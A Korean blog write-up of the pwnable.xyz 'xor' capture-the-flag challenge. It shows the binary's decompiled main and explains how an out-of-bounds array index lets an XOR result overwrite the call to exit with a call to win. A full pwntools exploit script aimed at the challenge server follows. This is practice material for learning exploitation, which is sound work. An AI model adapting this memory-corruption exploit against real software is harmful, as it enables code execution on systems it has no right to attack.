pwnable.xyz - xor

2021. 7. 25. 10:57Pwnable

기존에 접하지 못했던 새로운 문제였다.

삽질도 많이 했었고, 호출하지 않은 함수에 대해서 offset을 구해서 가져오는 과정에서 opcode를 사용해야하는 것도 처음에는 몰랐다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-24h]
  __int64 v4; // [rsp+10h] [rbp-20h] BYREF
  __int64 v5; // [rsp+18h] [rbp-18h] BYREF
  __int64 v6; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  puts("The Poopolator");
  setup("The Poopolator", argv);
  while ( 1 )
  {
    v6 = 0LL;
    printf(format);
    v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6);
    if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
      break;
    result[v6] = v5 ^ v4;
    printf("Result: %ld\n", result[v6]);
  }
  exit(1);
}

main코드는 위와 같이 나오는데

요약해서 설명하면 result[v6] 부분을 oob를 터트려서 exit대신에 win을 호출하게 하면 된다.

이때 if문 조건인 v4~v3까지 맞춰줘야한다.

v6의 경우는 간단하게 exit의 위치와 result의 위치의 차를 구해주면 되는데 이는

(call_exit-result_add)/8

이렇게 구할 수 있고,

v4변수와 v5변수의 xor값이 call win 이 되어야하는데 둘중 하나를 1로 고정시키고 하나에 값을 입력해주면 된다.

구하는 방법은

win - call exit —> 0xa21 - 0xacd = 0xffffff54 이므로

여기에 call opcode인 e8을 붙여서 0xffffff54e8을 넘겨주면 된다.

payload는 아래와 같다.

from pwn import * 

r = remote("svc.pwnable.xyz", 30029)
#r = process("./challenge")
e = ELF("./challenge")
l = e.libc
context.log_level = "debug"

win_add = e.sym['win']
call_exit = 0x0000000000000AC8
result_add = 0x0000000000202200
first = 1
second = 0xffffff54e8
third = (call_exit-result_add)/8
pay = str(first) + " "  + str(int(second)) + " " + str(third)
r.sendline(pay)
r.interactive()

'Pwnable' 카테고리의 다른 글

pwnable.xyz - sub  (0) 2021.07.28
pwnable.xyz - Jmp table  (0) 2021.07.26
HactCTF - 풍수지리설  (0) 2021.07.24
pwnable.xyz - misalignment  (0) 2021.07.19
dreamhack.io - validator  (0) 2021.07.13